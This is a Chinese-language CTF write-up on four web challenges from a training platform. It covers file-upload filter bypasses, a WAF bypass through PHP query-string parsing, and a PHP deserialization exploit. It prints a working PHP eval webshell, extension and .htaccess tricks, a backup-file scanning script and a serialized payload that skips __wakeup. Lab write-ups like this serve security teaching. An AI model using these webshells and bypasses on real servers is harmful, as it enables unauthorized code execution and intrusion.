[极客大挑战 2019]Upload;[RoarCTF 2019]Easy Calc;[ACTF2020 新生赛]Upload;[极客大挑战 2019]PHP
[极客大挑战 2019]Upload
先更改为图片的类型,将content-type 改为image/jpg 不能为php ,可改成phtml ,php2 ,php3 ,php4 ,php5 ,php6 ,php7 ,pht ,phtm ,phtml 等,都会被解析成php 过滤了<? ,?> ,可用另一种书写方式 <script language="php">eval($_POST['shell']);</script> 
没有图片文件开头的标识GIF89aX ?,添加上去,上传成功 
连接菜刀,得到flag 从上面可知,只过滤了php后缀,所以还可以上传.htaccess 配置文件,更改文件后缀的关联属性 再上传一个1.aa 连接到shell,但是看不了文件,我也不知道为什么 
[RoarCTF 2019]Easy Calc
提示有waf,并且存在calc.php页面 calc.php过滤了相关符号 waf过滤了字母 利用 php字符串解析特性,它解析字符串时,会将一些字符转换为下划线,或者删除 如http://node4.buuoj.cn:29995/calc.php? num=a ,在num前加空格,waf会认为’ nmu’这不是字母,因为它前面有空格,而php会将前面的空格删掉,‘ num’就等同与‘num’,故绕过了waf也执行了函数 过滤/ ,所以使用ascii码进行命令执行,发现没有执行 换成php的输出和查看目录的函数print_r 与var_dump 都行 然后查看内容readfile 与file_get_contents 都行 
[ACTF2020 新生赛]Upload
上传时抓包,发现抓不了,并弹出提示,说js限制了上传的后缀,所以关闭js再抓包   之后上传图片,改为php后缀,被拦截 但改为asp,上传成功,多半只有php是黑名单 
故可以将后缀改为phtml,添加一句话木马,成功上传  得到flag 
[极客大挑战 2019]PHP
扫描备份文件
import requests
import time
url='http://3779d591-9cc0-48af-8a72-b0f3463ee1d5.node4.buuoj.cn:81/'
with open('beifen.txt') as f:
for i in f:
ii = i.replace('\n', '')
urls=url+ii
data=requests.get(urls).status_code
if data==200:
print(urls)
得到备份文件
http:
解压得到关键文件index.php ,class.php 通过index.php传入参数 class.php进行反序列化操作 payload的username需等于admin,password需等于100, 但要绕过__wakeup ,故将代表变量个数的数字改成比真实值大,就不会执行__wakeup; 因为private为私有变量,需在Nameusername中加%00 ,变为%00Name%00username
故payload为?select=O:4:"Name":4:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} 
|